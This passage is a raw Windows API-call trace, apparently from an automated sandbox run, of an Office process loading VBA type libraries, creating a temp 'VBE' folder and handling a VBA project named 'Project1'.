Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x2, wMin=0x0, lcid=0x0, lpbstrPathName=0xb5690f4fc8 | out: lpbstrPathName=0xb5690f4fc8) returned 0x0 [0094.693] lstrlenA (lpString="C:\\Windows\\System32\\stdole2.tlb") returned 31 [0094.693] malloc (_Size=0x20) returned 0x27649978840 [0094.693] malloc (_Size=0x20) returned 0x276499785d0 [0094.693] lstrcpyA (in: lpString1=0x27649978840, lpString2="C:\\Windows\\System32\\stdole2.tlb" | out: lpString1="C:\\Windows\\System32\\stdole2.tlb") returned="C:\\Windows\\System32\\stdole2.tlb" [0094.693] _access_s (_FileName="C:\\Windows\\System32\\stdole2.tlb", _AccessMode=0) returned 0x0 [0094.694] LoadTypeLib (in: szFile="C:\\Windows\\System32\\stdole2.tlb", pptlib=0xb5690f5338*=0x0 | out: pptlib=0xb5690f5338*=0x276454c2a20) returned 0x0 [0094.694] LoadTypeLib (in: szFile="C:\\Windows\\System32\\stdole2.tlb", pptlib=0xb5690f41c8*=0x0 | out: pptlib=0xb5690f41c8*=0x276454c2a20) returned 0x0 [0094.694] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2a20, index=-1, refPtrFlags=0x690f41e8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x60 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x60) returned 0x0 [0094.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0xb5690f40d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0094.694] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="stdole") returned 0x406093 [0094.694] IUnknown:QueryInterface (in: This=0x276454c2a20, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f40a8 | out: ppvObject=0xb5690f40a8*=0x0) returned 0x80004002 [0094.694] GetLocalTime (in: lpSystemTime=0xb5690f3f50 | out: lpSystemTime=0xb5690f3f50*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x31, wMilliseconds=0x143)) [0094.694] wcsncpy_s (in: _Destination=0xb5690f3c00, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.694] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f3b30, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.694] _wcsicmp (_String1="*\\Z04612782e9", _String2="*\\Z04612782e9") returned 0 [0094.694] IUnknown:QueryInterface (in: This=0x276454c2a20, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3fd8 | out: ppvObject=0xb5690f3fd8*=0x0) returned 0x80004002 [0094.694] ITypeLib:RemoteGetLibAttr (in: This=0x276454c2a20, ppTLibAttr=0xb5690f3fd0, pDummy=0xb5690f3fd8 | out: ppTLibAttr=0xb5690f3fd0, pDummy=0xb5690f3fd8*=0x0) returned 0x0 [0094.694] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2a20, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f3fc8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0xb5690f3fc8*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0094.694] StringFromGUID2 (in: rguid=0x2764ae3aed0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xb5690f3ff0, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0094.694] _ultow_s (in: _Value=0x2, _Buffer=0xb5690f3f3a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0094.694] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3f3e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.695] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3f42, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.695] wcscpy_s (in: _Destination=0x2764ae4e618, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0094.695] wcscpy_s (in: _Destination=0x2764ae4e61e, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0094.695] wcscpy_s (in: _Destination=0x2764ae4e66a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0094.695] wcscpy_s (in: _Destination=0x2764ae4e678, _SizeInWords=0x2f, _Source="C:\\Windows\\System32\\stdole2.tlb" | out: _Destination="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0094.695] wcscpy_s (in: _Destination=0x2764ae4e6b8, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0094.695] ITypeLib:LocalReleaseTLibAttr (This=0x276454c2a20) returned 0x0 [0094.695] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b6d6fc0, cb=0x680) returned 0x2764b1d03a0 [0094.695] wcscpy_s (in: _Destination=0x2764b1d0638, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0094.695] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2a20, index=-1, refPtrFlags=0x690f40e8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0094.695] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="stdole") returned 0x406093 [0094.695] strcpy_s (in: _Dst=0xb5690f3ee0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0094.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f3ee0, cbMultiByte=7, lpWideCharStr=0xb5690f3d30, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0094.695] IUnknown:AddRef (This=0x276454bf8a0) returned 0x4 [0094.695] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="stdole", lHashVal=0x406093, pfName=0xb5690f3e00, pBstrLibName=0xb5690f3d30 | out: pfName=0xb5690f3e00*=0, pBstrLibName=0xb5690f3d30) returned 0x0 [0094.695] IUnknown:Release (This=0x276454bf8a0) returned 0x3 [0094.695] IUnknown:AddRef (This=0x276454c2ce0) returned 0x7 [0094.695] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="stdole", lHashVal=0x406093, pfName=0xb5690f3e00, pBstrLibName=0xb5690f3d30 | out: pfName=0xb5690f3e00*=0, pBstrLibName=0xb5690f3d30) returned 0x0 [0094.695] IUnknown:Release (This=0x276454c2ce0) returned 0x6 [0094.695] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764ad3a3f0 [0094.695] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b190ff0) [0094.695] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3a1e0 [0094.695] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad3a1e0, cb=0x50) returned 0x2764b159390 [0094.695] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a3f0) [0094.695] wcsncpy_s (in: _Destination=0xb5690f3ce0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0094.695] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0094.695] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xbe) returned 0x2764b59de60 [0094.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x2764b59de60, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0094.696] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b59de60) [0094.696] wcscpy_s (in: _Destination=0x2764b7112f8, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0094.696] wcsncpy_s (in: _Destination=0xb5690f3d20, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0094.696] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0094.696] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xbe) returned 0x2764b59dd90 [0094.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x2764b59dd90, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0094.696] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b59dd90) [0094.696] wcsncpy_s (in: _Destination=0xb5690f3ce0, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.696] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f3c10, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.696] _wcsicmp (_String1="*\\Z04612782e9", _String2="*\\Z04612782e9") returned 0 [0094.696] IUnknown:AddRef (This=0x276454c2a20) returned 0x7 [0094.696] IUnknown:QueryInterface (in: This=0x276454c2a20, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4108 | out: ppvObject=0xb5690f4108*=0x0) returned 0x80004002 [0094.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0xb5690f40d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0094.696] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="stdole") returned 0x406093 [0094.696] IUnknown:Release (This=0x276454c2a20) returned 0x6 [0094.696] IUnknown:Release (This=0x276454c2a20) returned 0x5 [0094.696] GetModuleFileNameA (in: hModule=0x7ff9bde20000, lpFilename=0xb5690f5270, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0094.696] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", _SizeInBytes=0x104, _Source="\\3" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3") returned 0x0 [0094.697] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3", pptlib=0xb5690f5260 | out: pptlib=0xb5690f5260*=0x2764b6d06b0) returned 0x0 [0094.703] ITypeLib:GetTypeInfoOfGuid (in: This=0x2764b6d06b0, GUID=0x7ff9be1d0bd0*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a)), ppTInfo=0xb5690f53f0 | out: ppTInfo=0xb5690f53f0*=0x2764b3cb398) returned 0x0 [0094.703] malloc (_Size=0x68) returned 0x2764997bfa0 [0094.703] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b3cb398, ppTypeAttr=0xb5690f5340, pDummy=0x0 | out: ppTypeAttr=0xb5690f5340, pDummy=0x0) returned 0x0 [0094.703] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b3cb398) returned 0x0 [0094.703] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b3cb398, ppTypeAttr=0xb5690f52e0, pDummy=0x0 | out: ppTypeAttr=0xb5690f52e0, pDummy=0x0) returned 0x0 [0094.703] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0xb5690f5180 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0094.703] _access (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", _AccessMode=0) returned 0 [0094.703] strnlen (_Str="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", _MaxCount=0x7fffffff) returned 0x23 [0094.703] malloc (_Size=0x24) returned 0x27649978840 [0094.703] malloc (_Size=0x24) returned 0x27649978630 [0094.703] lstrcpynA (in: lpString1=0x27649978840, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", iMaxLength=36 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\" [0094.704] lstrlenA (lpString="VBE") returned 3 [0094.704] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0094.704] _msize (_Block=0x27649978840) returned 0x24 [0094.704] realloc (_Block=0x27649978840, _Size=0x27) returned 0x276499787b0 [0094.705] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0094.705] lstrlenA (lpString="VBE") returned 3 [0094.705] _msize (_Block=0x27649978630) returned 0x24 [0094.705] realloc (_Block=0x27649978630, _Size=0x27) returned 0x276499788a0 [0094.705] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 35 [0094.705] lstrlenA (lpString="VBE") returned 3 [0094.705] lstrcatA (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpString2="VBE" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" [0094.705] strcpy_s (in: _Dst=0x276499788a0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0094.705] _access_s (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x2 [0094.705] strcpy_s (in: _Dst=0x276499788a0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0094.705] _mkdir (_Path="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0 [0094.705] strcpy_s (in: _Dst=0x276499788a0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0094.705] strcpy_s (in: _Dst=0x276499788a0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0094.705] strcpy_s (in: _Dst=0x276499788a0, _DstSize=0x27, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE") returned 0x0 [0094.705] _access_s (_FileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x0 [0094.705] IUnknown:AddRef (This=0x2764b3cb398) returned 0x2 [0094.705] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b3cb398) returned 0x0 [0094.706] StringFromCLSID (in: rclsid=0x2764997bfcc*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a)), lplpsz=0xb5690f52b0 | out: lplpsz=0xb5690f52b0*="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 0x0 [0094.706] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x27) returned 0x2764ad3a270 [0094.706] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b158670) [0094.706] lstrlenA (lpString="VBE") returned 3 [0094.706] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 38 [0094.706] malloc (_Size=0x39) returned 0x2764997c010 [0094.706] wsprintfA (in: param_1=0x2764997c010, param_2="%s;%s;&H%08lX" | out: param_1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0094.706] wsprintfA (in: param_1=0xb5690f52d8, param_2="&H%08lX" | out: param_1="&H00000001") returned 10 [0094.707] free (_Block=0x2764997c010) [0094.707] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a270) [0094.707] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764ad3a270 [0094.716] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1314 [0094.716] SendMessageA (hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x10500cd) returned 0x1 [0094.716] SendMessageA (hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x1 [0094.717] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0094.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ae3aed8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0094.717] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0094.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ae3aed8, cbMultiByte=9, lpWideCharStr=0x2764ad02368, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0094.717] IsCharAlphaA (ch=78) returned 1 [0094.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xb5690f5390, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0094.718] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0094.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xb5690f5350, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0094.718] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0094.719] SysStringLen (param_1="Normal") returned 0x6 [0094.719] malloc (_Size=0x33) returned 0x2764997c010 [0094.719] lstrlenA (lpString="Normal") returned 6 [0094.719] GetStringTypeA (in: Locale=0x411, dwInfoType=0x4, lpSrcStr="Normal", cchSrc=6, lpCharType=0x2764997c010 | out: lpCharType=0x2764997c010) returned 1 [0094.719] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="Normal", cchSrc=7, lpDestStr=0x2764997c01c, cchDest=13 | out: lpDestStr="Normal") returned 7 [0094.720] LCMapStringA (in: Locale=0x411, dwMapFlags=0x800000, lpSrcStr="Normal", cchSrc=7, lpDestStr=0x2764997c029, cchDest=13 | out: lpDestStr="\x82m\x82\x8f\x82\x92\x82\x8d\x82\x81\x82\x8c") returned 13 [0094.721] free (_Block=0x2764997c010) [0094.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xb5690f4350, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0094.721] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0094.722] lstrlenA (lpString="Normal") returned 6 [0094.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xb5690f4300, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0094.722] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0094.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xb5690f4310, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0094.722] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0094.722] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0094.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ae3aed8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0094.722] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0094.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ae3aed8, cbMultiByte=9, lpWideCharStr=0x2764ad02368, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0094.722] lstrcmpA (lpString1="Project1", lpString2="Normal") returned 1 [0094.722] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Project1", cchCount1=-1, lpString2="Normal", cchCount2=-1) returned 3 [0094.722] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0094.722] GetLocalTime (in: lpSystemTime=0xb5690f4090 | out: lpSystemTime=0xb5690f4090*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x31, wMilliseconds=0x162)) [0094.722] wcsncpy_s (in: _Destination=0xb5690f3d40, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.722] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f3c70, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.722] _wcsicmp (_String1="*\\Z04612782e9", _String2="*\\Z04612782e9") returned 0 [0094.722] GetLocalTime (in: lpSystemTime=0xb5690f4090 | out: lpSystemTime=0xb5690f4090*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x31, wMilliseconds=0x162)) [0094.722] wcsncpy_s (in: _Destination=0xb5690f3d40, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.723] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f3c70, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.723] _wcsicmp (_String1="*\\Z04612782e9", _String2="*\\Z04612782e9") returned 0 [0094.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xb5690f4100, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0094.723] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0094.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xb5690f3fc0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0094.723] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0094.723] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0094.723] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276455f8300 [0094.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b159390) [0094.723] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3a870 [0094.723] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad3a870, cb=0x50) returned 0x2764b159bd0 [0094.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f8300) [0094.723] wcsncpy_s (in: _Destination=0xb5690f3dc0, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.723] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f3cf0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.723] _wcsicmp (_String1="*\\Z04612782e9", _String2="*\\Z04612782e9") returned 0 [0094.723] strcpy_s 